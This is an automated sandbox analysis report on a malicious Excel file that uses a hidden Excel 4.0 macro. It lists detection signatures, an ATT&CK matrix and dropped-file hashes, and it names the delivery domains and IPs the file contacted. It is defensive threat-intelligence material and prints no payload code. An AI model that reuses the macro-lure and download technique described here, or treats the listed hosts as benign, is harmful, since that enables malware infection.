Play interactive tour
Edit tourAnalysis Report 85095f36_by_Libranalysis.xls
Overview
General Information
| Sample Name: | 85095f36_by_Libranalysis.xls |
| Analysis ID: | 412672 |
| MD5: | 85095f36d19d0a0cc635a9e255730ea0 |
| SHA1: | 8ec5f0d784134f08bce52949027a686cd099acd8 |
| SHA256: | a4a5606ff24d70f51f72a501a370ab2199548d4d3a88e904cb9cfafb824d8af2 |
| Tags: | SilentBuilder |
| Infos: | |
Most interesting Screenshot:  | |
Detection
Hidden Macro 4.0
| Score: | 76 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Document exploit detected (UrlDownloadToFile)
Document exploit detected (process start blacklist hit)
Found Excel 4.0 Macro with suspicious formulas
Found abnormal large hidden Excel 4.0 Macro sheet
Sigma detected: Microsoft Office Product Spawning Windows Shell
Document contains embedded VBA macros
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Classification
Startup |
|---|
|
Malware Configuration |
|---|
| No configs have been found |
|---|
Yara Overview |
|---|
| No yara matches |
|---|
Sigma Overview |
|---|
System Summary: |   |
|---|
| Sigma detected: Microsoft Office Product Spawning Windows Shell | Show sources | ||
| Source: | Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: | ||
Signature Overview |
|---|
Click to jump to signature section
Show All Signature Results
AV Detection: | |
|---|
| Multi AV Scanner detection for submitted file | Show sources | ||
| Source: | ReversingLabs: | ||
| Source: | File opened: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
Software Vulnerabilities: | |
|---|
| Document exploit detected (UrlDownloadToFile) | Show sources | ||
| Source: | Section loaded: | ||
| Document exploit detected (process start blacklist hit) | Show sources | ||
| Source: | Process created: | ||
| Source: | DNS query: | ||
| Source: | TCP traffic: | ||
| Source: | TCP traffic: | ||
| Source: | IP Address: | ||
| Source: | IP Address: | ||
| Source: | JA3 fingerprint: | ||
| Source: | DNS traffic detected: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | Network traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
| Source: | HTTPS traffic detected: | ||
System Summary: | |
|---|
| Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros) | Show sources | ||
| Source: | Screenshot OCR: | ||
| Source: | Screenshot OCR: | ||
| Source: | Screenshot OCR: | ||
| Source: | Screenshot OCR: | ||
| Source: | Screenshot OCR: | ||
| Source: | Screenshot OCR: | ||
| Source: | Screenshot OCR: | ||
| Found Excel 4.0 Macro with suspicious formulas | Show sources | ||
| Source: | Initial sample: | ||
| Source: | Initial sample: | ||
| Source: | Initial sample: | ||
| Found abnormal large hidden Excel 4.0 Macro sheet | Show sources | ||
| Source: | Initial sample: | ||
| Source: | OLE indicator, VBA macros: | ||
| Source: | Classification label: | ||
| Source: | File created: | Jump to behavior | ||
| Source: | File created: | Jump to behavior | ||
| Source: | OLE indicator, Workbook stream: | ||
| Source: | File read: | Jump to behavior | ||
| Source: | Key opened: | ||
| Source: | Process created: | ||
| Source: | ReversingLabs: | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
| Source: | Process created: | ||
| Source: | Automated click: | ||
| Source: | Automated click: | ||
| Source: | Window detected: | ||
| Source: | Key opened: | ||
| Source: | File opened: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
Mitre Att&ck Matrix |
|---|
| Initial Access | Execution | Persistence | Privilege Escalation | Defense Evasion | Credential Access | Discovery | Lateral Movement | Collection | Exfiltration | Command and Control | Network Effects | Remote Service Effects | Impact |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Valid Accounts | Scripting21 | Path Interception | Process Injection1 | Masquerading1 | OS Credential Dumping | Security Software Discovery1 | Remote Services | Data from Local System | Exfiltration Over Other Network Medium | Encrypted Channel2 | Eavesdrop on Insecure Network Communication | Remotely Track Device Without Authorization | Modify System Partition |
| Default Accounts | Exploitation for Client Execution23 | Boot or Logon Initialization Scripts | Boot or Logon Initialization Scripts | Disable or Modify Tools1 | LSASS Memory | File and Directory Discovery1 | Remote Desktop Protocol | Data from Removable Media | Exfiltration Over Bluetooth | Non-Application Layer Protocol1 | Exploit SS7 to Redirect Phone Calls/SMS | Remotely Wipe Data Without Authorization | Device Lockout |
| Domain Accounts | At (Linux) | Logon Script (Windows) | Logon Script (Windows) | Rundll321 | Security Account Manager | System Information Discovery2 | SMB/Windows Admin Shares | Data from Network Shared Drive | Automated Exfiltration | Application Layer Protocol2 | Exploit SS7 to Track Device Location | Obtain Device Cloud Backups | Delete Device Data |
| Local Accounts | At (Windows) | Logon Script (Mac) | Logon Script (Mac) | Process Injection1 | NTDS | System Network Configuration Discovery | Distributed Component Object Model | Input Capture | Scheduled Transfer | Protocol Impersonation | SIM Card Swap | Carrier Billing Fraud | |
| Cloud Accounts | Cron | Network Logon Script | Network Logon Script | Scripting21 | LSA Secrets | Remote System Discovery | SSH | Keylogging | Data Transfer Size Limits | Fallback Channels | Manipulate Device Communication | Manipulate App Store Rankings or Ratings |
Behavior Graph |
|---|
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
InternetScreenshots |
|---|
Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
Antivirus, Machine Learning and Genetic Malware Detection |
|---|
Initial Sample |
|---|
| Source | Detection | Scanner | Label | Link |
|---|---|---|---|---|
| 7% | Virustotal | Browse | ||
| 11% | ReversingLabs |
Dropped Files |
|---|
| No Antivirus matches |
|---|
Unpacked PE Files |
|---|
| No Antivirus matches |
|---|
Domains |
|---|
| No Antivirus matches |
|---|
URLs |
|---|
| Source | Detection | Scanner | Label | Link |
|---|---|---|---|---|
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe | ||
| 0% | URL Reputation | safe |
Domains and IPs |
|---|
Contacted Domains |
|---|
| Name | IP | Active | Malicious | Antivirus Detection | Reputation |
|---|---|---|---|---|---|
| signifysystem.com | 192.185.39.58 | true | false | unknown | |
| fcventasyservicios.cl | 192.185.32.232 | true | false | unknown |
URLs from Memory and Binaries |
|---|
| Name | Source | Malicious | Antivirus Detection | Reputation |
|---|---|---|---|---|
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown | ||
| false | high | |||
| false |
| unknown |
Contacted IPs |
|---|
- No. of IPs < 25%
- 25% < No. of IPs < 50%
- 50% < No. of IPs < 75%
- 75% < No. of IPs
Public |
|---|
| IP | Domain | Country | Flag | ASN | ASN Name | Malicious |
|---|---|---|---|---|---|---|
| 192.185.39.58 | signifysystem.com | United States | 46606 | UNIFIEDLAYER-AS-1US | false | |
| 192.185.32.232 | fcventasyservicios.cl | United States | 46606 | UNIFIEDLAYER-AS-1US | false |
General Information |
|---|
| Joe Sandbox Version: | 32.0.0 Black Diamond |
| Analysis ID: | 412672 |
| Start date: | 12.05.2021 |
| Start time: | 21:13:15 |
| Joe Sandbox Product: | CloudBasic |
| Overall analysis duration: | 0h 5m 31s |
| Hypervisor based Inspection enabled: | false |
| Report type: | light |
| Sample file name: | 85095f36_by_Libranalysis.xls |
| Cookbook file name: | defaultwindowsofficecookbook.jbs |
| Analysis system description: | Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211 |
| Run name: | Potential for more IOCs and behavior |
| Number of analysed new started processes analysed: | 27 |
| Number of new started drivers analysed: | 0 |
| Number of existing processes analysed: | 0 |
| Number of existing drivers analysed: | 0 |
| Number of injected processes analysed: | 0 |
| Technologies: |
|
| Analysis Mode: | default |
| Analysis stop reason: | Timeout |
| Detection: | MAL |
| Classification: | mal76.expl.evad.winXLS@5/7@2/2 |
| EGA Information: | Failed |
| HDC Information: | Failed |
| HCA Information: |
|
| Cookbook Comments: |
|
| Warnings: | Show All
|
Simulations |
|---|
Behavior and APIs |
|---|
| No simulations |
|---|
Joe Sandbox View / Context |
|---|
IPs |
|---|
| Match | Associated Sample Name / URL | SHA 256 | Detection | Link | Context |
|---|---|---|---|---|---|
| 192.185.39.58 | Get hash | malicious | Browse | ||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| 192.185.32.232 | Get hash | malicious | Browse | ||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse | |||
| Get hash | malicious | Browse |
Domains |
|---|
| Match | Associated Sample Name / URL | SHA 256 | Detection | Link | Context |
|---|---|---|---|---|---|
| signifysystem.com | Get hash | malicious | Browse |
| |
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| fcventasyservicios.cl | Get hash | malicious | Browse |
| |
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
|
ASN |
|---|
| Match | Associated Sample Name / URL | SHA 256 | Detection | Link | Context |
|---|---|---|---|---|---|
| UNIFIEDLAYER-AS-1US | Get hash | malicious | Browse |
| |
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| UNIFIEDLAYER-AS-1US | Get hash | malicious | Browse |
| |
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
|
JA3 Fingerprints |
|---|
| Match | Associated Sample Name / URL | SHA 256 | Detection | Link | Context |
|---|---|---|---|---|---|
| 37f463bf4616ecd445d4a1937da06e19 | Get hash | malicious | Browse |
| |
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
| ||
| Get hash | malicious | Browse |
|
Dropped Files |
|---|
| No context |
|---|
Created / dropped Files |
|---|
| Process: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 134558 |
| Entropy (8bit): | 5.368375532026078 |
| Encrypted: | false |
| SSDEEP: | 1536:ecQIKNEHBXA3gBwlpQ9DQW+zhh34ZldpKWXboOilX5ErLWME9:9EQ9DQW+zPXO8 |
| MD5: | D163B1B0865C48F11659A40C6C4DF422 |
| SHA1: | 22A031300CD660C38C4AA218C911514183D71396 |
| SHA-256: | E6A61378AC40B61090583F511730B38121332228F5D6D3DE40A787957B953AF6 |
| SHA-512: | 31140EB40A4026618B2EA29F9EAD148AB36FF9A5EE5A4EBE638154E48DDF743DAC67353E6C7AFB4FB6F291C8FAD771866CD1C122E070E8FDB06BB2E39AA92495 |
| Malicious: | false |
| Reputation: | low |
| Preview: |
|
| Process: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 81553 |
| Entropy (8bit): | 7.910299376985252 |
| Encrypted: | false |
| SSDEEP: | 1536:N9jYO+nffSDcn9iZtJOXAQR2KtCbuMB/yDL4kymYBO0y7zBr4ZLJPE6:D+nHSD8YZo/Uh0ZymYQ0y7FALe6 |
| MD5: | 4D38AF167E454CFCEB7051B3F9D04417 |
| SHA1: | 1E51B9EB33BDFD31A67EA4EFE768BAD1C3604089 |
| SHA-256: | 00D5BE6C64ECE69DFF8A36F22E90AABC1B305AF854338B65F5A3A5E550AE9761 |
| SHA-512: | 132CA2699C5008E3026890591AF7534AC5CE249768F8322CA9DC3908FC3329F13E09F5D72218E567183DFCC4E58EB973A1B80E3654AA31DE25A410E3B60CF07C |
| Malicious: | false |
| Reputation: | low |
| Preview: |
|
| Process: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 2282 |
| Entropy (8bit): | 4.710095636853695 |
| Encrypted: | false |
| SSDEEP: | 48:8eEnPuOE4UYsNeOECoB6peEnPuOE4UYsNeOECoB6:85mFKsNeFHK5mFKsNeFH |
| MD5: | C7005A704D2FB95745D8DB98DA25C798 |
| SHA1: | 75ED9B70951ED64DBC7F6DEB141186D2A6129892 |
